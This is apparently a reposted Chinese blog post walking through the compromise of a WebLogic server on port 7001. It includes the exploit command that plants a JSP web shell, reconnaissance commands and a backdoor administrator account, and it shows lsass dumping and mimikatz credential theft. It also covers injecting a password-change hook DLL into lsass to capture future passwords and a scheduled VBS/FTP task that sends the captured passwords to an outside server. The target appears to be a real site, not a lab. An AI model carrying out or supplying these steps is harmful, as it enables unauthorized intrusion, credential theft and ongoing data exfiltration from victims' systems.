Weblogic引发的血案

漏洞验证与利用

在某次测试中发现了某某站点开了7001端口的Weblogic服务

运用payload向其写入shell。

java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx:7001 abc.jsp

成功后会显示一个shell地址:http://xxx.xxx.xxx:7001/bea_wls_internal/abc.jsp?password=secfree&command=whoami

这里请无视(xxx)

信息收集

访问shell地址执行命令,获取机子信息:

whoami -->xxx\admin

ipconfig -->公网地址

sysinfo -->win2008x64 R2 EN 工作组 257个补丁

net localgroup administrators --> 得知当前用户(admin)是管理组

tasklist -->杀软卡巴斯基(avp.exe)

执行netstat -ano看下端口,发现没有开启3389端口。但这不是绝对的,有些可爱的管理员会把3389端口改成别的端口,进行远程链接。所以要想知道真正的远程端口链接是多少需执行tasklist /svc命令,查看svchost.exe对应的TermService的pid

该目标机为:

svchost.exe 3788 TermService

查看对应的PID,得知远程链接端口为39800

攻击

net user admin1 Qww123!/add&net localgoup administrators admin1 /add

链接远程端口之!

emmm什么时候冒出了一个熊猫卫士清理工具??

好吧。

这杀软环境挺让人绝望的,光是卡巴就够呛还来个熊猫帮手

较新版本的卡巴对lsass进程全面封锁,进程是动不了的,但幸运的是,该机子的卡巴是旧版本,而且病毒库也不更新,得利于管理员的懒惰,成功将它的lsass进程创建为转储文件lsass.DMP,并把它拖回本地dump

mimikatz获取到管理员密码

巩固

都已经拿到管理员密码了,你还想怎样?没错,我不仅要拿你的密码,就算你修改新的密码,我也要知道!

准备HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1文件,然后运行该powershell脚本将dll注入到lsass进程中。利用方法文章结束后有相关链接

将准备好的文件丢进目标机子,执行命令:

powershell –exec bypass –Command "& "

成功安装,当管理员修改密码的时候会记录下新的密码,且以文本的形式保存在c:\windows\temp\passwords.txt

因为管理员没有这么快改密码,所以自己就创建一个管理员用户,并修改密码做测试

OK,没问题

传输

实际过程中如果管理员修改了密码,我们是要将passwords.txt传送出来的。

方法有很多,这里就用个简单的FTP上传文件的方式,将文件发送到FTP服务器

将VBS脚本放到任务计划书里,按时执行,VBS代码如下:

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide

ftp.txt内容为:

open xxx.xxx.xxx.xxx

ppp

123456

put c:\windows\temp\passwords.txt

bye

继续忽略xxx

是,目标机子运行FTP xxx.xxx.xxx.xxx(xxx为FTP服务器的IP)报错:访问被拒绝

可能是卡巴惹的祸吧,没有深究,自己上传上ftp.exe上去运行

成功链接到FTP服务器

在任务计划书里定时一天发送一次,搞定。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180425B11LRI00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券